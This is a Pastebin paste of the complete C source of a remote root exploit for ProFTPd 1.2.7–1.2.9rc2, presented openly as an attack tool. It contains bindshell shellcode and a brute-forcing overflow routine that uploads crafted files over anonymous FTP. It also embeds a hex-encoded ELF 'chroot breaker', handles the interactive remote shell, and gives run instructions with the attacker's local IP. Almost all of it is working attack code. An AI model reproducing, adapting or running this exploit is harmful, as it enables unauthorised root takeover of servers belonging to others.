Guest User

Untitled

a guest
Jan 23rd, 2018
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.50 KB | None | 0 0
  1. /*
  2. ProFTPd 1.2.7 - 1.2.9rc2 remote r00t exploit
  3. --------------------------------------------
  4. By Haggis
  5.  
  6. This exploit builds on the work of bkbll to
  7. create a working, brute-force remote exploit
  8. for the \n procesing bug in ProFTPd.
  9.  
  10. Tested on SuSE 8.0, 8.1 and RedHat 7.2/8.0
  11. it works quite well... the RedHat boxes
  12. worked on stack addresses in the 0xbffff2xx
  13. region; the SuSE boxes were somewhat earlier
  14. in the stack space - around 0xbfffe8xx.
  15.  
  16. This is the only public version you'll see
  17. from Haggis@Doris - but it is very likely
  18. that more powerful private versions will
  19. be coded.
  20.  
  21. At present, this exploit breaks chroot (if
  22. any) and spawns a shell bound to port 4660.
  23.  
  24. ----------
  25.  
  26. This version is best run like so:
  27.  
  28. ./proft_put_down -t hostname -l localIP -U incoming
  29.  
  30. where:
  31.  
  32. hostname = target box
  33. localIP = your IP address
  34.  
  35. -U incoming specifies that the exploit will attempt
  36. to create an 'incoming' directory on the remote ftp
  37. server and work inside that. Without it, the shell-
  38. code will probably not work properly. You have been
  39. warned!
  40.  
  41. It is possible to use other credentials for logging
  42. in to remote servers; anonymous is the default.
  43.  
  44. ----------
  45.  
  46. Big greets to all in #cheese on Doris (SSL only:
  47. doris.scriptkiddie.net:6969).
  48.  
  49. Special thanks to B-r00t for testing and pointing
  50. out a segfault, flame for letting me r00t his
  51. RedHat 8 box and everyone else for their input.
  52.  
  53. Have a nice root.
  54.  
  55. H.
  56. */
  57.  
  58. #include <stdio.h>
  59. #include <ctype.h>
  60. #include <stdlib.h>
  61. #include <unistd.h>
  62. #include <errno.h>
  63. #include <netdb.h>
  64. #include <string.h>
  65. #include <signal.h>
  66. #include <stdarg.h>
  67. #include <sys/socket.h>
  68. #include <sys/types.h>
  69. #include <sys/time.h>
  70. #include <sys/select.h>
  71. #include <netinet/in.h>
  72. #include <arpa/inet.h>
  73. #include <linux/tcp.h>
  74.  
  75. #define STACK_START 0xbfffef04
  76. #define STACK_END 0xbffff4f0
  77. #define FTP_PORT 21
  78. #define BINDSHELL_PORT 4660
  79. #define SIZE 1024
  80. #define EXPLOIT_BUF_SIZE 65535
  81. #define DEFAULT_USER "anonymous"
  82. #define DEFAULT_PASS "ftp@"
  83. #define FAILURE -1
  84. #define SUCCESS 0
  85. #define NORMAL_DOWNLOAD 1
  86. #define EXPLOIT_DOWNLOAD 2
  87. #define DOWNLOAD 3
  88. #define UPLOAD 4
  89. #define ACCEPT_TIMEOUT 5
  90. #define SLEEP_DELAY 19999999
  91.  
  92. /*
  93. Leet 0-day HaggisCode (tm)
  94. */
  95. char shellcode[] =
  96. // setuid(0); setgid(0);
  97. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
  98.  
  99. // fork() - parent terminates, killing proftpd and ending FTP
  100. // session. This leaves the child process as a daemon...
  101. "\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31"
  102. "\xdb\x31\xc0\xb0\x01\xcd\x80"
  103.  
  104. // Finally, bind a shell to port 4660.
  105. // This is a hacked version of the bindshell code by BigHawk.
  106. "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
  107. "\x89\xc7\x52\x66\x68\x12\x34\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
  108. "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
  109. "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
  110. "\x41\xe2\xf8\x51\x68\x2e\x2f\x61\x61\x89\xe3\x51\x53\x89\xe1\xb0"
  111. "\x0b\xcd\x80";
  112.  
  113. int controlSock, passiveSock;
  114. int currentPassivePort=32769;
  115. int currentServerPort=31337;
  116. int exploitBufLen;
  117. int attemptNumber=0;
  118. int ftpPort=FTP_PORT;
  119. unsigned int stackWriteAddr, retAddr;
  120. char serverBuf[SIZE];
  121. char exploitBuf[EXPLOIT_BUF_SIZE];
  122. char uploadPath[SIZE]="";
  123. char filename[SIZE*2];
  124. char *server=NULL;
  125. char *user=DEFAULT_USER;
  126. char *pass=DEFAULT_PASS;
  127. char *localIP=NULL;
  128. char errorBuf[SIZE];
  129.  
  130. int connect_to_server(int port);
  131. int login_to_server();
  132. int set_passive_mode(int mode);
  133. int set_ascii_mode();
  134. int set_path_and_filename();
  135. int check_for_linefeed();
  136. int check_status();
  137. int create_passive_server();
  138. int create_exploit_buffer();
  139. int upload_file();
  140. int download_file(int mode);
  141. void usage(char *s);
  142. int do_remote_shell(int shellSock);
  143. void status_bar(char *info);
  144. int timeout_accept(int s, struct sockaddr *sa, int *f);
  145. void my_send(int s, char *b, ...);
  146. void my_recv(int s);
  147. void my_sleep(int n);
  148. void doris_chroot_breaker();
  149.  
  150. int main(int argc,char **argv)
  151. {
  152. int sleepMode=0;
  153. char c;
  154. unsigned int stackStartAddr=STACK_START;
  155.  
  156. if(argc<2) usage(argv[0]);
  157. while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) {
  158. switch (c) {
  159. case 't':
  160. server=optarg;
  161. break;
  162. case 'u':
  163. user=optarg;
  164. break;
  165. case 'p':
  166. pass=optarg;
  167. break;
  168. case 'l':
  169. localIP=optarg;
  170. break;
  171. case 's':
  172. sleepMode=1;
  173. break;
  174. case 'U':
  175. strncpy(uploadPath,optarg,SIZE);
  176. break;
  177. case 'P':
  178. ftpPort=atoi(optarg);
  179. break;
  180. case 'S':
  181. stackStartAddr=strtoul(optarg, NULL, 16);
  182. break;
  183. default:
  184. usage(argv[0]);
  185. return 1;
  186. }
  187. }
  188. if(server==NULL || localIP==NULL)
  189. usage(argv[0]);
  190.  
  191. printf("proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit\n");
  192. printf(" by Haggis (haggis@haggis.kicks-ass.net)\n");
  193.  
  194. doris_chroot_breaker();
  195. for(stackWriteAddr=stackStartAddr; stackWriteAddr<STACK_END; stackWriteAddr+=4, attemptNumber++) {
  196.  
  197. if(check_for_linefeed()==FAILURE)
  198. continue;
  199.  
  200. retAddr=stackWriteAddr+200; // good enough for show business
  201.  
  202. if((controlSock=connect_to_server(ftpPort))==FAILURE) {
  203. perror("\n\nFailing to connect to remote host\n");
  204. exit(1);
  205. }
  206.  
  207. if(login_to_server()==FAILURE) {
  208. close(controlSock);
  209. printf("\nERROR: Login failed.\n");
  210. exit(1);
  211. }
  212.  
  213. if(set_passive_mode(UPLOAD)==FAILURE)
  214. goto err;
  215. if(set_ascii_mode()==FAILURE)
  216. goto err;
  217. if(set_path_and_filename()==FAILURE)
  218. goto err;
  219.  
  220. // create the buffer containing RET for this
  221. // brute-force iteration
  222. create_exploit_buffer();
  223.  
  224. if(upload_file()==FAILURE)
  225. goto err;
  226. close(controlSock);
  227.  
  228. // Connect again, then login, set ASCII mode and download the exploit file.
  229. // This will trigger the overflow; as a result, we've
  230. // corrupted the memory pool of this session and when we
  231. // download the file again, the stack area will be overwritten
  232. // and we control the saved EIP.
  233.  
  234. if((controlSock=connect_to_server(ftpPort))<0) {
  235. perror("\nFailed to connect to remote host\n");
  236. exit(1);
  237. }
  238.  
  239. login_to_server(user,pass);
  240. set_path_and_filename();
  241. if(set_ascii_mode()==FAILURE)
  242. goto err;
  243. if(set_passive_mode(DOWNLOAD)==FAILURE)
  244. goto err;
  245. if(sleepMode)
  246. sleep(10);
  247. if(download_file(NORMAL_DOWNLOAD)==FAILURE)
  248. goto err;
  249.  
  250. // Finally, read the file again. This will trigger the stack
  251. // overwrite (NOT the overflow, that happened earlier). We could
  252. // control EIP at this point and r00t may be only heartbeat away...
  253.  
  254. if(set_passive_mode(DOWNLOAD)==FAILURE)
  255. goto err;
  256. if(download_file(EXPLOIT_DOWNLOAD)==FAILURE)
  257. goto err;
  258. err:
  259. close(controlSock);
  260. }
  261.  
  262. // This is only reached if the bruteforce fails.
  263. // delete the exploit files here
  264.  
  265. printf("\n\nNo r00t for you today I'm afraid.\n");
  266. exit(1);
  267. }
  268.  
  269. void status_bar(char *info) {
  270. printf("[ %20s ]-[ Stack: 0x%08x ]-[ RET: 0x%08x ]\r",info, stackWriteAddr,retAddr);
  271. fflush(stdout);
  272. }
  273.  
  274. int set_path_and_filename()
  275. {
  276. status_bar("Setting filename");
  277. if(strcmp(uploadPath,"")) {
  278. my_send(controlSock, "CWD %s\r\n",uploadPath);
  279. my_recv(controlSock);
  280. }
  281. snprintf(filename,SIZE,"proft_put_down-%d-%d.txt",getpid(),attemptNumber);
  282. return SUCCESS;
  283. }
  284.  
  285. int download_file(int mode)
  286. {
  287. int len, localServerSock, dataSock, bindShellSock;
  288. struct sockaddr_in localServer;
  289.  
  290. status_bar("Downloading");
  291. // Ask the victim server to send us the exploit file
  292. my_send(controlSock, "RETR %s\r\n", filename);
  293.  
  294. // Create a listening server on our passive port to
  295. // receive the data
  296. memset(&localServer,0,sizeof(localServer));
  297. localServerSock=create_passive_server();
  298. len=sizeof(localServer);
  299.  
  300. // Wait for a few seconds for the victim server to contact us...
  301. if((dataSock=timeout_accept(localServerSock,(struct sockaddr *)&localServer,&len))<0) {
  302. close(localServerSock);
  303. return FAILURE;
  304. }
  305.  
  306. // If the mode is EXPLOIT_DOWNLOAD, then this is the
  307. // second attempt at downloading... that means we might
  308. // have a shell waiting for us on the victim server, so
  309. // we try to connect to it
  310. if(mode==EXPLOIT_DOWNLOAD) {
  311. if((bindShellSock=connect_to_server(BINDSHELL_PORT))>=0) {
  312. printf("\nConnected! You are r00t...\n");
  313. do_remote_shell(bindShellSock);
  314. printf("\nDid you have a nice time?\n");
  315. exit(0);
  316. }
  317. close(dataSock);
  318. close(localServerSock);
  319. return SUCCESS;
  320. }
  321. // If the mode is NORMAL_DOWNLOAD, then just clean up the
  322. // connection by receiving the file from the server; closing
  323. // the data and local server sockets, then read the confirmation
  324. // message from the control socket
  325. my_recv(dataSock);
  326. close(dataSock);
  327. close(localServerSock);
  328. my_recv(controlSock);
  329. return check_status();
  330. }
  331.  
  332. int timeout_accept(int s, struct sockaddr *sa, int *f)
  333. {
  334. fd_set fdset;
  335. struct timeval timeout = { ACCEPT_TIMEOUT, 0 }; // seconds
  336. int result;
  337.  
  338. if(s<=0)
  339. return FAILURE;
  340. FD_ZERO(&fdset);
  341. FD_SET(s, &fdset);
  342.  
  343. if((result=select(s+1, &fdset, 0, 0, &timeout))==0)
  344. return FAILURE;
  345. return accept(s,sa,f);
  346. }
  347.  
  348. int set_passive_mode(int mode)
  349. {
  350. int portMSB, portLSB;
  351. int x1,x2,x3,x4;
  352. char *ptr=localIP, *start;
  353.  
  354. status_bar("Setting passive");
  355. if(mode==DOWNLOAD) {
  356. if((++currentPassivePort) > 35000)
  357. currentPassivePort=32789;
  358.  
  359. while(*(++ptr))
  360. if(*ptr=='.')
  361. *ptr=',';
  362. portMSB=(currentPassivePort >> 8 ) & 0xff;
  363. portLSB=currentPassivePort & 0xff;
  364. my_send(controlSock, "PORT %s,%d,%d\r\n", localIP, portMSB, portLSB);
  365. my_recv(controlSock);
  366. return check_status();
  367. } else {
  368. my_send(controlSock, "PASV\r\n");
  369. my_recv(controlSock);
  370. if(check_status()==FAILURE)
  371. return FAILURE;
  372. ptr=serverBuf;
  373. while(*ptr && *ptr!='(')
  374. ptr++;
  375. if(*ptr=='\0')
  376. return FAILURE;
  377. start=ptr+1;
  378. while(*ptr && *ptr!=')')
  379. ptr++;
  380. *ptr=0;
  381. sscanf(start, "%d,%d,%d,%d,%d,%d",&x1, &x2, &x3, &x4, &portMSB, &portLSB);
  382. currentServerPort=(portMSB << 8) | portLSB;
  383. }
  384. return SUCCESS;
  385. }
  386.  
  387. int connect_to_server(int port)
  388. {
  389. struct sockaddr_in serverAddr;
  390. struct hostent *host;
  391. int sock, tmp=1;
  392.  
  393. status_bar("Connecting");
  394. if((host=gethostbyname(server))==NULL)
  395. return FAILURE;
  396.  
  397. if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
  398. return FAILURE;
  399. bzero(&serverAddr,sizeof(struct sockaddr));
  400. serverAddr.sin_family=AF_INET;
  401. serverAddr.sin_port=htons(port);
  402. serverAddr.sin_addr=*((struct in_addr *)host->h_addr);
  403. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&tmp, sizeof(tmp));
  404. if(connect(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
  405. close(sock);
  406. return FAILURE;
  407. }
  408. return sock;
  409. }
  410.  
  411. int check_status()
  412. {
  413. if(isdigit(serverBuf[0]) && serverBuf[0]!='5')
  414. return SUCCESS;
  415. else
  416. return FAILURE;
  417. }
  418.  
  419. int login_to_server()
  420. {
  421. status_bar("Logging in");
  422. my_recv(controlSock);
  423. my_send(controlSock, "USER %s\r\n", user);
  424. my_recv(controlSock);
  425. if(check_status()==FAILURE)
  426. return FAILURE;
  427.  
  428. my_send(controlSock, "PASS %s\r\n", pass);
  429. my_recv(controlSock);
  430. return check_status();
  431. }
  432.  
  433. int set_ascii_mode()
  434. {
  435. status_bar("Setting ASCII mode");
  436. my_send(controlSock, "TYPE A\r\n");
  437. my_recv(controlSock);
  438. return check_status();
  439. }
  440.  
  441.  
  442. int upload_file()
  443. {
  444. int dataSock;
  445.  
  446. status_bar("Uploading file");
  447.  
  448. // open up the data channel
  449. if((dataSock=connect_to_server(currentServerPort))==FAILURE)
  450. return FAILURE;
  451.  
  452. // tell server we're gonna send some shiznitz
  453. my_send(controlSock, "STOR %s\r\n", filename);
  454. my_recv(controlSock);
  455. if(check_status()==FAILURE) {
  456. close(dataSock);
  457. return FAILURE;
  458. }
  459.  
  460. // send the exploit file to the victim server
  461. send(dataSock, exploitBuf, exploitBufLen, 0);
  462. close(dataSock);
  463.  
  464. // make sure all went well
  465. my_recv(controlSock);
  466. if(check_status()==FAILURE)
  467. return FAILURE;
  468. return SUCCESS;
  469. }
  470.  
  471. int create_exploit_buffer()
  472. {
  473. int i;
  474. char buf[41];
  475. unsigned int writeaddr=stackWriteAddr;
  476. unsigned int *ptr=(unsigned int *)(exploitBuf+3);
  477. unsigned int dummy=0x11111111;
  478. FILE *fp;
  479.  
  480. status_bar("Make exploit buf");
  481. exploitBufLen=1024;
  482. memset(exploitBuf,0,EXPLOIT_BUF_SIZE);
  483. memset(exploitBuf,0x90,512);
  484. *(ptr++)=writeaddr+28;
  485. for(i=0;i<6;i++)
  486. *(ptr++)=retAddr;
  487. *(ptr++)=0;
  488. for(i=0;i<2;i++)
  489. *(ptr++)=retAddr;
  490.  
  491. memcpy(exploitBuf+512-strlen(shellcode)-1,shellcode,strlen(shellcode));
  492. memset(exploitBuf+512,'\n',512);
  493.  
  494. for(i=0;i<96;i++) {
  495. memset(buf,0,41);
  496. if(dummy==0x1111112e)
  497. // this sets session.d->outstrm to NULL which forces an early return
  498. // avoids crashing proftpd... on SuSE 8.0 anywayz...
  499. memcpy(buf,"\n\n\n\n\n\n\n\n\x00\x00\x00\x00\n\n\n\n\n\n\n\n",20);
  500. else if(dummy==0x11111166)
  501. // this is the same thing tailored for RH7.2
  502. memcpy(buf,"\n\n\n\n\n\n\n\n\x72\x00\x00\x00\x00\n\n\n\n\n\n\n",20);
  503. else
  504. memset(buf,'\n',20);
  505.  
  506. // i used these dummy values to find the correct spot for
  507. // the session.d->outstrm pointer
  508. *(unsigned int *)(buf+20)=dummy;
  509. *(unsigned int *)(buf+24)=dummy;
  510. *(unsigned int *)(buf+28)=dummy;
  511.  
  512. // this will become the address of an available chunk of memory
  513. // that is returned by new_block() in pool.c
  514. *(unsigned int *)(buf+32)=writeaddr;
  515.  
  516. // this is what will be returned by palloc() in pool.c
  517. // palloc() is the function that calls new_block() and
  518. // provides the allocation interface for the pools system.
  519. *(unsigned int *)(buf+36)=writeaddr;
  520.  
  521. memcpy(exploitBuf+exploitBufLen,buf,40);
  522. exploitBufLen+=40;
  523. dummy++;
  524. }
  525. return SUCCESS;
  526. }
  527.  
  528.  
  529. int create_passive_server()
  530. {
  531. struct sockaddr_in serverAddr;
  532. int on=1,sock;
  533.  
  534. status_bar("Creating server");
  535. sock=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  536. memset(&serverAddr,0,sizeof(struct sockaddr_in));
  537. serverAddr.sin_port=htons(currentPassivePort);
  538. serverAddr.sin_family=AF_INET;
  539. serverAddr.sin_addr.s_addr=htonl(INADDR_ANY);
  540. setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
  541. if(bind(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
  542. close(sock);
  543. return FAILURE;
  544. }
  545. if(listen(sock,5)<0) {
  546. close(sock);
  547. return FAILURE;
  548. }
  549. return sock;
  550. }
  551.  
  552. void usage(char *exploitName)
  553. {
  554. printf("proftpd 1.2.7 - 1.2.9rc2 remote root exploit\n");
  555. printf(" based on code by bkbll (bkbll@cnhonker.net)\n");
  556. printf(" by Haggis (haggis@haggis.kicks-ass.net)\n");
  557. printf("--------------------------------------------------------------\n");
  558. printf("Usage: %s -t host -l ip [options]\n",exploitName);
  559. printf("Arguments:\n");
  560. printf(" -t <host> host to attack\n");
  561. printf(" -u <username> [anonymous]\n");
  562. printf(" -p <password> [ftp@microsoft.com]\n");
  563. printf(" -l <local ip address> interface to bind to\n");
  564. printf(" -s sleep for 10secs to allow GDB attach\n");
  565. printf(" -U <path> specify upload path, eg. /incoming\n");
  566. printf(" -P <port> port number of remote proftpd server\n");
  567. printf(" -S <address> start at <address> when bruteforcing\n");
  568. exit(0);
  569. }
  570.  
  571.  
  572. int do_remote_shell(int shellSock)
  573. {
  574. fd_set rfds;
  575. char buf[1024];
  576. int retval, r=1;
  577.  
  578. do {
  579. FD_ZERO(&rfds);
  580. FD_SET(0, &rfds);
  581. FD_SET(shellSock, &rfds);
  582. retval=select(shellSock+1, &rfds, NULL, NULL, NULL);
  583. if(retval) {
  584. if(FD_ISSET(shellSock, &rfds)) {
  585. buf[(r=recv(shellSock, buf, sizeof(buf)-1,0))]='\0'; // lol
  586. printf("%s", buf);fflush(stdout);
  587. }
  588. if(FD_ISSET(0, &rfds)) {
  589. buf[(r=read(0, buf, sizeof(buf)-1))]='\0'; // lmfao
  590. send(shellSock, buf, strlen(buf), 0);
  591. }
  592. }
  593. } while(retval && r); // loop until connection terminates
  594. return SUCCESS;
  595. }
  596.  
  597.  
  598. int check_for_linefeed()
  599. {
  600. char *ptr=(char *)&stackWriteAddr;
  601. int i=4;
  602.  
  603. for(;i;i--)
  604. if(*(ptr++)=='\n')
  605. return FAILURE;
  606. return SUCCESS;
  607. }
  608.  
  609. // Handy little function to send formattable data down a socket.
  610. void my_send(int s, char *b, ...) {
  611. va_list ap;
  612. char *buf;
  613.  
  614. my_sleep(SLEEP_DELAY);
  615. va_start(ap,b);
  616. vasprintf(&buf,b,ap);
  617. send(s,buf,strlen(buf),0);
  618. va_end(ap);
  619. free(buf);
  620. }
  621.  
  622. // Another handy function to read data from a socket.
  623. void my_recv(int s) {
  624. int len;
  625.  
  626. my_sleep(SLEEP_DELAY);
  627. memset(serverBuf, 0, SIZE);
  628. len=recv(s, serverBuf, SIZE-1, 0);
  629. serverBuf[len]=0;
  630. }
  631.  
  632. void doris_chroot_breaker() {
  633. char haggis_magic_buffer[]=
  634. "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  635. "\x02\x00\x03\x00\x01\x00\x00\x00\x80\x80\x04\x08\x34\x00\x00\x00"
  636. "\xa0\x01\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x02\x00\x28\x00"
  637. "\x09\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08"
  638. "\x00\x80\x04\x08\x20\x01\x00\x00\x20\x01\x00\x00\x05\x00\x00\x00"
  639. "\x00\x10\x00\x00\x01\x00\x00\x00\x20\x01\x00\x00\x20\x91\x04\x08"
  640. "\x20\x91\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00"
  641. "\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  642. "\x55\x89\xe5\x83\xec\x6c\x57\x56\x53\x8d\x45\xa0\x8d\x7d\xa0\xbe"
  643. "\xc0\x80\x04\x08\xfc\xb9\x17\x00\x00\x00\xf3\xa5\x66\xa5\xa4\x8d"
  644. "\x45\xa0\x89\x45\x9c\x8b\x5d\x9c\xff\xd3\x8d\x65\x88\x5b\x5e\x5f"
  645. "\x89\xec\x5d\xc3\x8d\xb6\x00\x00\x00\x00\x8d\xbf\x00\x00\x00\x00"
  646. "\x31\xc0\x31\xdb\x40\x50\x89\xe1\x66\xbb\x73\x68\x53\x89\xe3\xb0"
  647. "\x27\xcd\x80\x31\xc0\x89\xe3\xb0\x3d\xcd\x80\x31\xc9\xb1\x0a\x31"
  648. "\xc0\x31\xdb\x66\xbb\x2e\x2e\x53\x89\xe3\xb0\x0c\xcd\x80\x49\x85"
  649. "\xc9\x75\xec\x31\xc0\x31\xdb\xb3\x2e\x53\x89\xe3\xb0\x3d\xcd\x80"
  650. "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
  651. "\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x00\x00"
  652. "\x00\x47\x43\x43\x3a\x20\x28\x47\x4e\x55\x29\x20\x32\x2e\x39\x35"
  653. "\x2e\x33\x20\x32\x30\x30\x31\x30\x33\x31\x35\x20\x28\x53\x75\x53"
  654. "\x45\x29\x00\x08\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x30"
  655. "\x31\x2e\x30\x31\x00\x00\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00"
  656. "\x2e\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61"
  657. "\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00"
  658. "\x2e\x64\x61\x74\x61\x00\x2e\x73\x62\x73\x73\x00\x2e\x62\x73\x73"
  659. "\x00\x2e\x63\x6f\x6d\x6d\x65\x6e\x74\x00\x2e\x6e\x6f\x74\x65\x00"
  660. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  661. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  662. "\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00"
  663. "\x06\x00\x00\x00\x80\x80\x04\x08\x80\x00\x00\x00\x40\x00\x00\x00"
  664. "\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00"
  665. "\x21\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\xc0\x80\x04\x08"
  666. "\xc0\x00\x00\x00\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  667. "\x20\x00\x00\x00\x00\x00\x00\x00\x29\x00\x00\x00\x01\x00\x00\x00"
  668. "\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"
  669. "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
  670. "\x2f\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x20\x91\x04\x08"
  671. "\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  672. "\x01\x00\x00\x00\x00\x00\x00\x00\x35\x00\x00\x00\x08\x00\x00\x00"
  673. "\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"
  674. "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
  675. "\x3a\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  676. "\x20\x01\x00\x00\x23\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  677. "\x01\x00\x00\x00\x00\x00\x00\x00\x43\x00\x00\x00\x07\x00\x00\x00"
  678. "\x00\x00\x00\x00\x00\x00\x00\x00\x43\x01\x00\x00\x14\x00\x00\x00"
  679. "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  680. "\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  681. "\x57\x01\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  682. "\x01\x00\x00\x00\x00\x00\x00\x00";
  683.  
  684. strcpy(filename, "aa");
  685. memset(exploitBuf,0,777);
  686. memcpy(exploitBuf, haggis_magic_buffer, 776);
  687. exploitBufLen=776;
  688. if((controlSock=connect_to_server(ftpPort))==FAILURE) {
  689. printf("\nCould not connect to target server\n");
  690. exit(1);
  691. }
  692. login_to_server();
  693. my_send(controlSock, "MKD incoming\r\n");
  694. my_recv(controlSock);
  695. my_send(controlSock, "SITE CHMOD 777 incoming\r\n");
  696. my_recv(controlSock);
  697. my_send(controlSock, "CWD incoming\r\n");
  698. my_recv(controlSock);
  699. set_passive_mode(UPLOAD);
  700. upload_file();
  701. my_send(controlSock, "SITE CHMOD 777 aa\r\n");
  702. close(controlSock);
  703. }
  704.  
  705. // Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
  706. void my_sleep(int n) {
  707. struct timespec t;
  708.  
  709. t.tv_sec=0;
  710. t.tv_nsec=n;
  711. nanosleep(&t,&t);
  712. }
Add Comment
Please, Sign In to add comment